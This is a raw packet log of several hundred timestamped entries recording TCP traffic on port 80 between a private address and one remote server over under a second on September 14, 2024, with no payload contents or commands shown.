Sep 14, 2024 18:44:32.620012999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620039940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620053053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620105982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620117903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620129108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620141983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620152950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620161057 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620166063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620178938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620191097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620208025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620246887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620294094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620390892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620409012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620419979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620431900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620441914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620445967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620455980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620466948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620471954 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620477915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620490074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620496035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620502949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620512962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620520115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620526075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620537996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620538950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620549917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620562077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620574951 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620603085 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620799065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620810986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620820999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620831966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620843887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620853901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620857000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620867014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620877981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620882034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620894909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620904922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620912075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620917082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620930910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620935917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620943069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620954990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620958090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.620966911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620979071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.620985031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.621006012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.674069881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705388069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705410004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705421925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705434084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705446959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705467939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705481052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705491066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705503941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705506086 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705517054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705529928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705530882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705543041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705558062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705559015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705570936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705580950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705584049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705598116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705605984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705610991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705624104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705634117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705640078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705651999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705658913 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705666065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705686092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705702066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705739975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705753088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705761909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705799103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705840111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705852985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705864906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705878019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705887079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705912113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.705981970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.705995083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706007004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706018925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706029892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706031084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706044912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706053972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706058025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706070900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706082106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706118107 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706134081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706152916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706163883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706173897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706186056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706187010 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706199884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706212997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706216097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706226110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706238031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706240892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706269026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706295013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706337929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706418991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706433058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706445932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706456900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706466913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706468105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706480980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706487894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706500053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706500053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706511974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706512928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706547976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706578970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706590891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706602097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706619978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706621885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706634045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706635952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706648111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706660986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706672907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706684113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706685066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706698895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706706047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706727028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706784010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706794977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706830025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706872940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706886053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706897020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706909895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706912994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706923008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706935883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706938028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706948042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706960917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.706960917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.706974030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707026958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707031012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707031012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707041025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707089901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707211971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707226038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707236052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707247972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707259893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707263947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707273960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707283974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707284927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707298994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707309961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707321882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707330942 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707331896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707345963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707354069 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707357883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707364082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707372904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707387924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707392931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707407951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707417011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707420111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707442045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707484007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707494020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707504988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707518101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707523108 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707530022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707547903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707571030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707664967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707678080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707688093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707699060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707710028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707720995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707725048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707732916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707740068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707743883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707757950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707762003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707770109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707781076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707786083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707792997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707804918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707812071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707817078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707828999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707839966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707839966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707853079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707864046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707885027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.707928896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.707979918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792083025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792114019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792126894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792133093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792145967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792160034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792175055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792181969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792196989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792212009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792224884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792229891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792238951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792246103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792274952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792304993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792319059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792330027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792342901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792351007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792355061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792365074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792367935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792382002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792392015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792392969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792417049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792427063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792438984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792464018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792566061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792586088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792598963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792609930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792610884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792624950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792637110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792650938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792673111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792766094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792809963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792810917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792825937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792857885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792907000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792920113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792932034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792943954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.792968988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.792994976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793006897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793020964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793034077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793056965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793153048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793165922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793176889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793186903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793196917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793200970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793215036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793220997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793227911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793241024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793242931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793253899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793281078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793284893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793298006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793298960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793312073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793324947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793338060 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793356895 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793392897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793405056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793416977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793427944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793440104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793446064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793462992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793549061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793569088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793581963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793591976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793593884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793607950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793620110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793622017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793632984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793646097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793647051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793659925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793670893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793673992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.793697119 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.793800116 CEST	80	54891	188.114.96.3	192.168.2.7
